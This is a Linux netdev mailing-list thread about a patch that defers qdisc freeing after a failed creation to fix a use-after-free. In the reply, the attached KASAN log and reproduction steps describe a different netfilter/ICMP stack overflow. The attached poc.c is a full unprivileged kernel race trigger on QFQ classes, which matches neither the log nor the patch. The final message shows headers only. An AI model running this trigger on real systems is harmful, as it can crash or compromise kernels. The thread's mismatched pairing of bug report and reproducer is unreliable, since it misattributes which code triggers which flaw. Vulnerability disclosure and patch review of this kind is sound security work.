* [PATCH net] net/sched: defer qdisc freeing after failed creation
@ 2026-08-05 10:25 David Lee
2026-08-05 18:00 ` Jamal Hadi Salim
0 siblings, 1 reply; 6+ messages in thread
From: David Lee @ 2026-08-05 10:25 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni, jhs, jiri
Cc: Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel, David Lee
From: Kyle Zeng <kylebot@openai.com>
A qdisc's init callback can publish state to RCU readers before
qdisc_create() completes. In particular, clsact_init() binds a populated
shared ingress block and installs an embedded mini_Qdisc in
dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
removes that pointer but qdisc_free() immediately releases the qdisc and
its per-CPU statistics. A reader that obtained the miniq before removal
can then access freed memory.
Add qdisc_free_rcu() and use it for the creation error path, matching
normal qdisc destruction. This keeps the embedded miniq and the per-CPU
statistics alive until pre-existing readers complete.
Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks")
Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: David Lee <david.lee@trailofbits.com>
---
Bug found and triaged by OpenAI Security Research and
validated by Trail of Bits.
Trail of Bits has a reproducer for this bug that triggers a
KASAN use-after-free and can share if needed.
include/net/sch_generic.h | 1 +
net/sched/sch_api.c | 2 +-
net/sched/sch_generic.c | 7 ++++++-
3 files changed, 8 insertions(+), 2 deletions(-)
diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
index 45a1e8c782..d45442c926 100644
--- a/include/net/sch_generic.h
+++ b/include/net/sch_generic.h
@@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops,
struct netlink_ext_ack *extack);
void qdisc_free(struct Qdisc *qdisc);
+void qdisc_free_rcu(struct Qdisc *qdisc);
struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops, u32 parentid,
struct netlink_ext_ack *extack);
diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
index 668bcd60d1..041bd60072 100644
--- a/net/sched/sch_api.c
+++ b/net/sched/sch_api.c
@@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev,
err_out3:
qdisc_lock_uninit(sch, ops);
netdev_put(dev, &sch->dev_tracker);
- qdisc_free(sch);
+ qdisc_free_rcu(sch);
err_out2:
bpf_module_put(ops, ops->owner);
err_out:
diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
index ef2b4bf515..86d551fbab 100644
--- a/net/sched/sch_generic.c
+++ b/net/sched/sch_generic.c
@@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
qdisc_free(q);
}
+void qdisc_free_rcu(struct Qdisc *qdisc)
+{
+ call_rcu(&qdisc->rcu, qdisc_free_cb);
+}
+
static void __qdisc_destroy(struct Qdisc *qdisc)
{
const struct Qdisc_ops *ops = qdisc->ops;
@@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
trace_qdisc_destroy(qdisc);
- call_rcu(&qdisc->rcu, qdisc_free_cb);
+ qdisc_free_rcu(qdisc);
}
void qdisc_destroy(struct Qdisc *qdisc)
--
2.53.0
^ permalink raw reply related [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee
@ 2026-08-05 18:00 ` Jamal Hadi Salim
2026-08-10 15:58 ` David Lee
0 siblings, 1 reply; 6+ messages in thread
From: Jamal Hadi Salim @ 2026-08-05 18:00 UTC (permalink / raw)
To: David Lee
Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com> wrote:
>
> From: Kyle Zeng <kylebot@openai.com>
>
> A qdisc's init callback can publish state to RCU readers before
> qdisc_create() completes. In particular, clsact_init() binds a populated
> shared ingress block and installs an embedded mini_Qdisc in
> dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
> removes that pointer but qdisc_free() immediately releases the qdisc and
> its per-CPU statistics. A reader that obtained the miniq before removal
> can then access freed memory.
>
> Add qdisc_free_rcu() and use it for the creation error path, matching
> normal qdisc destruction. This keeps the embedded miniq and the per-CPU
> statistics alive until pre-existing readers complete.
>
> Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks")
> Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>
> Signed-off-by: David Lee <david.lee@trailofbits.com>
Thanks for finding the issue. But you should know the deal by now,
send the poc - you can send it in private. Same goes for your other
patch.
cheers,
jamal
> ---
> Bug found and triaged by OpenAI Security Research and
> validated by Trail of Bits.
>
> Trail of Bits has a reproducer for this bug that triggers a
> KASAN use-after-free and can share if needed.
>
> include/net/sch_generic.h | 1 +
> net/sched/sch_api.c | 2 +-
> net/sched/sch_generic.c | 7 ++++++-
> 3 files changed, 8 insertions(+), 2 deletions(-)
>
> diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
> index 45a1e8c782..d45442c926 100644
> --- a/include/net/sch_generic.h
> +++ b/include/net/sch_generic.h
> @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
> const struct Qdisc_ops *ops,
> struct netlink_ext_ack *extack);
> void qdisc_free(struct Qdisc *qdisc);
> +void qdisc_free_rcu(struct Qdisc *qdisc);
> struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
> const struct Qdisc_ops *ops, u32 parentid,
> struct netlink_ext_ack *extack);
> diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> index 668bcd60d1..041bd60072 100644
> --- a/net/sched/sch_api.c
> +++ b/net/sched/sch_api.c
> @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev,
> err_out3:
> qdisc_lock_uninit(sch, ops);
> netdev_put(dev, &sch->dev_tracker);
> - qdisc_free(sch);
> + qdisc_free_rcu(sch);
> err_out2:
> bpf_module_put(ops, ops->owner);
> err_out:
> diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
> index ef2b4bf515..86d551fbab 100644
> --- a/net/sched/sch_generic.c
> +++ b/net/sched/sch_generic.c
> @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
> qdisc_free(q);
> }
>
> +void qdisc_free_rcu(struct Qdisc *qdisc)
> +{
> + call_rcu(&qdisc->rcu, qdisc_free_cb);
> +}
> +
> static void __qdisc_destroy(struct Qdisc *qdisc)
> {
> const struct Qdisc_ops *ops = qdisc->ops;
> @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
>
> trace_qdisc_destroy(qdisc);
>
> - call_rcu(&qdisc->rcu, qdisc_free_cb);
> + qdisc_free_rcu(qdisc);
> }
>
> void qdisc_destroy(struct Qdisc *qdisc)
> --
> 2.53.0
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-05 18:00 ` Jamal Hadi Salim
@ 2026-08-10 15:58 ` David Lee
2026-08-13 1:22 ` Jakub Kicinski
0 siblings, 1 reply; 6+ messages in thread
From: David Lee @ 2026-08-10 15:58 UTC (permalink / raw)
To: Jamal Hadi Salim
Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
[-- Attachment #1.1: Type: text/plain, Size: 11478 bytes --]
Hi Jamal,
I have attached the reproducer and satnizer logs here:
---
[ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
[ 231.667279]
==================================================================
[ 231.667738] BUG: KASAN: stack-out-of-bounds in
__ip_options_echo+0xdf7/0x1860
[ 231.667738] Write of size 255 at addr ffffc9000029f008 by task
ksoftirqd/3/37
[ 231.667738]
[ 231.667738] CPU: 3 UID: 0 PID: 37 Comm: ksoftirqd/3 Not tainted
7.2.0-rc3-kasan #1 PREEMPT(lazy)
[ 231.667738] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996),
BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[ 231.667738] Call Trace:
[ 231.667738] <TASK>
[ 231.667738] dump_stack_lvl+0x5f/0x90
[ 231.667738] print_report+0x15b/0x4ec
[ 231.667738] ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[ 231.667738] ? kasan_addr_to_slab+0xd/0x80
[ 231.667738] kasan_report+0xf2/0x130
[ 231.667738] ? __ip_options_echo+0xdf7/0x1860
[ 231.667738] ? __ip_options_echo+0xdf7/0x1860
[ 231.667738] kasan_check_range+0x13a/0x230
[ 231.667738] __asan_memcpy+0x3b/0x80
[ 231.667738] __ip_options_echo+0xdf7/0x1860
[ 231.667738] ? __pfx___ip_options_echo+0x10/0x10
[ 231.667738] __icmp_send+0x8c5/0x26e0
[ 231.667738] ? __pfx___icmp_send+0x10/0x10
[ 231.667738] ? sysvec_apic_timer_interrupt+0x54/0xd0
[ 231.667738] ? __pfx_nf_reject_fill_skb_dst+0x10/0x10 [nf_reject_ipv4]
[ 231.667738] ? _raw_spin_lock+0x82/0xf0
[ 231.667738] ? irqentry_exit+0x1cd/0x7b0
[ 231.667738] nf_send_unreach+0x303/0x810 [nf_reject_ipv4]
[ 231.667738] ? __pfx_nf_send_unreach+0x10/0x10 [nf_reject_ipv4]
[ 231.667738] nft_reject_inet_eval+0x4cd/0x8a0 [nft_reject_inet]
[ 231.667738] ? nft_do_chain+0x45a/0x1ae0 [nf_tables]
[ 231.667738] nft_do_chain+0x25a/0x1ae0 [nf_tables]
[ 231.667738] ? __pfx_tcp_v4_rcv+0x10/0x10
[ 231.667738] ? raw_local_deliver+0x3b9/0xc80
[ 231.667738] ? __pfx_nft_do_chain+0x10/0x10 [nf_tables]
[ 231.667738] ? update_stack_state+0x26e/0x6a0
[ 231.667738] ? fib_validate_source+0x455/0x770
[ 231.667738] ? update_stack_state+0x26e/0x6a0
[ 231.667738] nft_do_chain_inet_ingress+0x44f/0x1420 [nf_tables]
[ 231.667738] ? __pfx_nft_do_chain_inet_ingress+0x10/0x10 [nf_tables]
[ 231.667738] ? unwind_next_frame+0x18a/0xac0
[ 231.667738] nf_hook_slow+0xaa/0x1f0
[ 231.667738] __netif_receive_skb_core.constprop.0+0x19b6/0x31e0
[ 231.667738] ? __pfx_read_hpet+0x10/0x10
[ 231.667738] ? ret_from_fork_asm+0x1a/0x30
[ 231.667738] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[ 231.667738] ? clockevents_program_event+0x2bd/0x750
[ 231.667738] ? run_ksoftirqd+0x3a/0x60
[ 231.667738] ? kasan_save_stack+0x4e/0x70
[ 231.667738] ? __kasan_check_write+0x14/0x30
[ 231.667738] ? _raw_spin_lock+0x82/0xf0
[ 231.667738] ? __hrtimer_rearm_deferred+0x18a/0x520
[ 231.667738] __netif_receive_skb_list_core+0x314/0xb10
[ 231.667738] ? sysvec_apic_timer_interrupt+0x54/0xd0
[ 231.667738] ? __pfx___netif_receive_skb_list_core+0x10/0x10
[ 231.667738] ? kasan_save_track+0x27/0x70
[ 231.667738] netif_receive_skb_list_internal+0x5eb/0xde0
[ 231.667738] ? __kasan_check_write+0x14/0x30
[ 231.667738] ? __pfx_netif_receive_skb_list_internal+0x10/0x10
[ 231.667738] ? __pfx_napi_complete_done+0x10/0x10
[ 231.667738] ? __pfx_dql_completed+0x10/0x10
[ 231.667738] ? __kasan_check_read+0x11/0x20
[ 231.667738] ? dev_gro_receive+0x20d/0x3060
[ 231.667738] napi_complete_done+0x1b6/0x830
[ 231.667738] ? pick_eevdf+0x19b/0x7e0
[ 231.667738] ? __pfx_napi_complete_done+0x10/0x10
[ 231.667738] ? gro_receive_skb+0x292/0xa90
[ 231.667738] gro_cell_poll+0x120/0x1f0
[ 231.667738] __napi_poll+0xa3/0x4c0
[ 231.667738] net_rx_action+0x4c1/0xfb0
[ 231.667738] ? __pfx_net_rx_action+0x10/0x10
[ 231.667738] ? finish_task_switch.isra.0+0x1f1/0xc10
[ 231.667738] ? __switch_to+0x8d7/0xd40
[ 231.667738] handle_softirqs+0x1ae/0x670
[ 231.667738] ? __pfx_handle_softirqs+0x10/0x10
[ 231.667738] run_ksoftirqd+0x3a/0x60
[ 231.667738] smpboot_thread_fn+0x29d/0x6e0
[ 231.667738] ? __pfx_smpboot_thread_fn+0x10/0x10
[ 231.667738] kthread+0x333/0x420
[ 231.667738] ? calculate_sigpending+0x78/0xb0
[ 231.667738] ? __pfx_kthread+0x10/0x10
[ 231.667738] ret_from_fork+0x426/0x7c0
[ 231.667738] ? __pfx_ret_from_fork+0x10/0x10
[ 231.667738] ? native_load_gs_index+0x3f/0x60
[ 231.667738] ? __switch_to+0x8d7/0xd40
[ 231.667738] ? __switch_to_asm+0x39/0x70
[ 231.667738] ? __pfx_kthread+0x10/0x10
[ 231.667738] ret_from_fork_asm+0x1a/0x30
[ 231.667738] </TASK>
[ 231.667738]
[ 231.667738] The buggy address belongs to stack of task ksoftirqd/3/37
[ 231.667738] and is located at offset 376 in frame:
[ 231.667738] __icmp_send+0x0/0x26e0
[ 231.667738]
[ 231.667738] This frame has 7 objects:
[ 231.667738] [32, 33) 'apply_ratelimit'
[ 231.667738] [48, 49) '_inner_type'
[ 231.667738] [64, 68) 'data'
[ 231.667738] [80, 88) 'rt'
[ 231.667738] [112, 168) 'ipc'
[ 231.667738] [208, 264) 'fl4'
[ 231.667738] [304, 416) 'icmp_param_u'
[ 231.667738]
[ 231.667738] The buggy address belongs to a vmalloc virtual mapping
[ 231.667738] The buggy address belongs to the physical page:
[ 231.667738] page: refcount:1 mapcount:0 mapping:0000000000000000
index:0x0 pfn:0x100c1f
[ 231.667738] flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff)
[ 231.667738] raw: 0017ffffc0000000 ffffea00040307c8 ffffea00040307c8
0000000000000000
[ 231.667738] raw: 0000000000000000 0000000000000000 00000001ffffffff
0000000000000000
[ 231.667738] page dumped because: kasan: bad access detected
[ 231.667738]
[ 231.667738] Memory state around the buggy address:
[ 231.667738] ffffc9000029ef00: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00
00 00
[ 231.667738] ffffc9000029ef80: 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 00 00
00 00
[ 231.667738] >ffffc9000029f000: 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00
00 00
[ 231.667738] ^
[ 231.667738] ffffc9000029f080: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
00 f3
[ 231.667738] ffffc9000029f100: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
00 00
[ 231.667738]
==================================================================
[ 231.746888] Disabling lock debugging due to kernel taint
---
======== Affected Versions =======
Confirmed Version:
* 6f5156d7a31a8c3b0f34af4675c9299c8f877cbe (post-v7.2-rc3)
Required Configs for the Vulnerability:
* CONFIG_INET
* CONFIG_NETFILTER
* CONFIG_NETFILTER_INGRESS
* CONFIG_NF_TABLES
* CONFIG_NF_TABLES_INET
* CONFIG_NFT_REJECT
* CONFIG_NFT_REJECT_INET
* CONFIG_NF_REJECT_IPV4
Additional Configs for the Proof of Concept:
* CONFIG_NET_IPIP
* CONFIG_VETH
* CONFIG_PACKET
* CONFIG_USER_NS
* CONFIG_NET_NS
========== Reproduction ==========
Step 1: Build kernel commit
`6f5156d7a31a8c3b0f34af4675c9299c8f877cbe` with KASAN and the
configuration options listed above.
Step 2: Build the attached `poc.c`:
~
gcc -static -O2 -Wall -Wextra -o poc poc.c
~
Step 3: Ensure the `nft_reject_inet`, `nf_reject_ipv4`, `ipip`, and
`veth` modules are available or built into the kernel. Run `./poc` as
an ordinary local user on a system that permits unprivileged user
namespaces. The `ip` utility must be installed.
The program creates its own user and network namespace, configures a
veth pair and IPIP device, installs an inet-ingress ICMPX reject rule,
and transmits the triggering packet. KASAN reports the
stack-out-of-bounds write.
Best regards,
David
On Wed, Aug 5, 2026 at 2:01 PM Jamal Hadi Salim <jhs@mojatatu.com> wrote:
> On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com>
> wrote:
> >
> > From: Kyle Zeng <kylebot@openai.com>
> >
> > A qdisc's init callback can publish state to RCU readers before
> > qdisc_create() completes. In particular, clsact_init() binds a populated
> > shared ingress block and installs an embedded mini_Qdisc in
> > dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
> > removes that pointer but qdisc_free() immediately releases the qdisc and
> > its per-CPU statistics. A reader that obtained the miniq before removal
> > can then access freed memory.
> >
> > Add qdisc_free_rcu() and use it for the creation error path, matching
> > normal qdisc destruction. This keeps the embedded miniq and the per-CPU
> > statistics alive until pre-existing readers complete.
> >
> > Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to
> share filter blocks")
> > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> > Signed-off-by: Kyle Zeng <kylebot@openai.com>
> > Signed-off-by: David Lee <david.lee@trailofbits.com>
>
> Thanks for finding the issue. But you should know the deal by now,
> send the poc - you can send it in private. Same goes for your other
> patch.
>
> cheers,
> jamal
>
> > ---
> > Bug found and triaged by OpenAI Security Research and
> > validated by Trail of Bits.
> >
> > Trail of Bits has a reproducer for this bug that triggers a
> > KASAN use-after-free and can share if needed.
> >
> > include/net/sch_generic.h | 1 +
> > net/sched/sch_api.c | 2 +-
> > net/sched/sch_generic.c | 7 ++++++-
> > 3 files changed, 8 insertions(+), 2 deletions(-)
> >
> > diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
> > index 45a1e8c782..d45442c926 100644
> > --- a/include/net/sch_generic.h
> > +++ b/include/net/sch_generic.h
> > @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue
> *dev_queue,
> > const struct Qdisc_ops *ops,
> > struct netlink_ext_ack *extack);
> > void qdisc_free(struct Qdisc *qdisc);
> > +void qdisc_free_rcu(struct Qdisc *qdisc);
> > struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
> > const struct Qdisc_ops *ops, u32
> parentid,
> > struct netlink_ext_ack *extack);
> > diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> > index 668bcd60d1..041bd60072 100644
> > --- a/net/sched/sch_api.c
> > +++ b/net/sched/sch_api.c
> > @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct
> net_device *dev,
> > err_out3:
> > qdisc_lock_uninit(sch, ops);
> > netdev_put(dev, &sch->dev_tracker);
> > - qdisc_free(sch);
> > + qdisc_free_rcu(sch);
> > err_out2:
> > bpf_module_put(ops, ops->owner);
> > err_out:
> > diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
> > index ef2b4bf515..86d551fbab 100644
> > --- a/net/sched/sch_generic.c
> > +++ b/net/sched/sch_generic.c
> > @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
> > qdisc_free(q);
> > }
> >
> > +void qdisc_free_rcu(struct Qdisc *qdisc)
> > +{
> > + call_rcu(&qdisc->rcu, qdisc_free_cb);
> > +}
> > +
> > static void __qdisc_destroy(struct Qdisc *qdisc)
> > {
> > const struct Qdisc_ops *ops = qdisc->ops;
> > @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
> >
> > trace_qdisc_destroy(qdisc);
> >
> > - call_rcu(&qdisc->rcu, qdisc_free_cb);
> > + qdisc_free_rcu(qdisc);
> > }
> >
> > void qdisc_destroy(struct Qdisc *qdisc)
> > --
> > 2.53.0
>
[-- Attachment #1.2: Type: text/html, Size: 13263 bytes --]
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 8441 bytes --]
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/gen_stats.h>
#include <linux/netlink.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define QDISC_HANDLE 0x10000U
#define CLASS_HANDLE 0x10001U
#define TARGET_LMAX 1500U
#define UDP_PAYLOAD_LEN 1458
#define ITERATIONS 50000U
#define MAX_DELAY 4096U
struct nl_req {
char buf[4096];
struct nlmsghdr *nlh;
};
struct race_ctx {
atomic_uint go;
atomic_uint done;
int sender;
int receiver;
char packet[UDP_PAYLOAD_LEN];
};
static uint32_t nl_seq;
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, ": %s\n", strerror(errno));
exit(1);
}
static void expect_ok(int ret, const char *what)
{
if (ret < 0) {
errno = -ret;
die("%s", what);
}
}
static void init_req(struct nl_req *req, uint16_t type, uint16_t flags,
size_t payload_len)
{
memset(req, 0, sizeof(*req));
req->nlh = (struct nlmsghdr *)req->buf;
req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len);
req->nlh->nlmsg_type = type;
req->nlh->nlmsg_flags = flags;
}
static void addattr(struct nl_req *req, uint16_t type, const void *data,
size_t len)
{
size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
size_t attr_len = RTA_LENGTH(len);
struct rtattr *rta;
if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) {
errno = E2BIG;
die("netlink attribute overflow");
}
rta = (struct rtattr *)(req->buf + offset);
rta->rta_type = type;
rta->rta_len = attr_len;
memcpy(RTA_DATA(rta), data, len);
req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len);
}
static struct rtattr *nest_start(struct nl_req *req, uint16_t type)
{
size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
struct rtattr *rta;
if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) {
errno = E2BIG;
die("netlink nest overflow");
}
rta = (struct rtattr *)(req->buf + offset);
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(0);
req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len);
return rta;
}
static void nest_end(struct nl_req *req, struct rtattr *rta)
{
rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta;
}
static int nl_open(void)
{
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die("socket NETLINK_ROUTE");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind NETLINK_ROUTE");
return fd;
}
static int nl_talk(int fd, struct nl_req *req)
{
struct sockaddr_nl nladdr = {
.nl_family = AF_NETLINK,
};
char buf[8192];
struct iovec iov;
struct msghdr msg;
ssize_t n;
req->nlh->nlmsg_seq = ++nl_seq;
iov.iov_base = req->nlh;
iov.iov_len = req->nlh->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &nladdr;
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(fd, &msg, 0) < 0)
return -errno;
for (;;) {
struct nlmsghdr *nlh;
int rem;
n = recv(fd, buf, sizeof(buf), 0);
if (n < 0)
return -errno;
for (nlh = (struct nlmsghdr *)buf, rem = (int)n;
NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) {
struct nlmsgerr *err;
if (nlh->nlmsg_seq != req->nlh->nlmsg_seq)
continue;
if (nlh->nlmsg_type != NLMSG_ERROR)
continue;
err = (struct nlmsgerr *)NLMSG_DATA(nlh);
return err->error;
}
}
}
static int qdisc_add(int fd, int ifindex)
{
struct nl_req req;
struct tcmsg *tcm;
const char kind[] = "qfq";
init_req(&req, RTM_NEWQDISC,
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL,
sizeof(*tcm));
tcm = NLMSG_DATA(req.nlh);
tcm->tcm_family = AF_UNSPEC;
tcm->tcm_ifindex = ifindex;
tcm->tcm_handle = QDISC_HANDLE;
tcm->tcm_parent = TC_H_ROOT;
addattr(&req, TCA_KIND, kind, sizeof(kind));
return nl_talk(fd, &req);
}
static int class_change(int fd, int ifindex, uint32_t lmax, bool create,
bool add_rate)
{
struct nl_req req;
struct tcmsg *tcm;
struct rtattr *opts;
struct gnet_estimator est = {
.interval = -2,
.ewma_log = 1,
};
uint32_t weight = 1;
uint16_t flags = NLM_F_REQUEST | NLM_F_ACK;
if (create)
flags |= NLM_F_CREATE | NLM_F_EXCL;
init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm));
tcm = NLMSG_DATA(req.nlh);
tcm->tcm_family = AF_UNSPEC;
tcm->tcm_ifindex = ifindex;
tcm->tcm_handle = CLASS_HANDLE;
tcm->tcm_parent = QDISC_HANDLE;
opts = nest_start(&req, TCA_OPTIONS);
addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
nest_end(&req, opts);
if (add_rate)
addattr(&req, TCA_RATE, &est, sizeof(est));
return nl_talk(fd, &req);
}
static void setup_namespace(void)
{
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
die("unshare");
}
static int setup_loopback(void)
{
struct ifreq ifr;
int fd;
int ifindex;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET");
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("SIOCGIFFLAGS");
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("SIOCSIFFLAGS");
close(fd);
ifindex = if_nametoindex("lo");
if (ifindex == 0)
die("if_nametoindex");
return ifindex;
}
static int setup_udp(int *receiver)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = 0,
};
socklen_t addrlen = sizeof(addr);
int sender;
int priority = CLASS_HANDLE;
*receiver = socket(AF_INET, SOCK_DGRAM, 0);
if (*receiver < 0)
die("receiver socket");
if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("receiver bind");
if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0)
die("receiver getsockname");
sender = socket(AF_INET, SOCK_DGRAM, 0);
if (sender < 0)
die("sender socket");
if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority,
sizeof(priority)) < 0)
die("SO_PRIORITY");
if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("sender connect");
return sender;
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}
static void spin_delay(unsigned int count)
{
while (count--)
asm volatile("pause" ::: "memory");
}
static void *sender_thread(void *arg)
{
struct race_ctx *ctx = arg;
unsigned int i;
pin_cpu(1);
for (i = 1; i <= ITERATIONS; i++) {
char drain[2048];
while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i)
asm volatile("pause" ::: "memory");
spin_delay(i % MAX_DELAY);
if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0)
die("send");
while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0)
;
atomic_store_explicit(&ctx->done, i, memory_order_release);
}
return NULL;
}
int main(void)
{
struct race_ctx ctx;
pthread_t thread;
int nl;
int ifindex;
int ret;
int thread_ret;
unsigned int i;
memset(&ctx, 0, sizeof(ctx));
memset(ctx.packet, 'A', sizeof(ctx.packet));
setup_namespace();
ifindex = setup_loopback();
nl = nl_open();
expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc");
expect_ok(class_change(nl, ifindex, 512, true, false),
"create qfq class");
ctx.sender = setup_udp(&ctx.receiver);
pin_cpu(0);
thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx);
if (thread_ret != 0) {
errno = thread_ret;
die("pthread_create");
}
/*
* The estimator attribute makes the post-snapshot part of
* qfq_change_class() long enough for the packet enqueue on CPU 1 to
* migrate the class to the requested (weight=1, lmax=1500) aggregate.
*/
for (i = 1; i <= ITERATIONS; i++) {
expect_ok(class_change(nl, ifindex, 512, false, false),
"reset qfq class");
atomic_store_explicit(&ctx.go, i, memory_order_release);
ret = class_change(nl, ifindex, TARGET_LMAX, false, true);
expect_ok(ret, "change qfq class");
while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i)
asm volatile("pause" ::: "memory");
}
pthread_join(thread, NULL);
close(ctx.sender);
close(ctx.receiver);
close(nl);
return 0;
}
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
2026-08-10 15:58 ` David Lee
@ 2026-08-13 1:22 ` Jakub Kicinski
2026-08-17 9:06 ` David Lee
0 siblings, 1 reply; 6+ messages in thread
From: Jakub Kicinski @ 2026-08-13 1:22 UTC (permalink / raw)
To: David Lee
Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng,
Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel
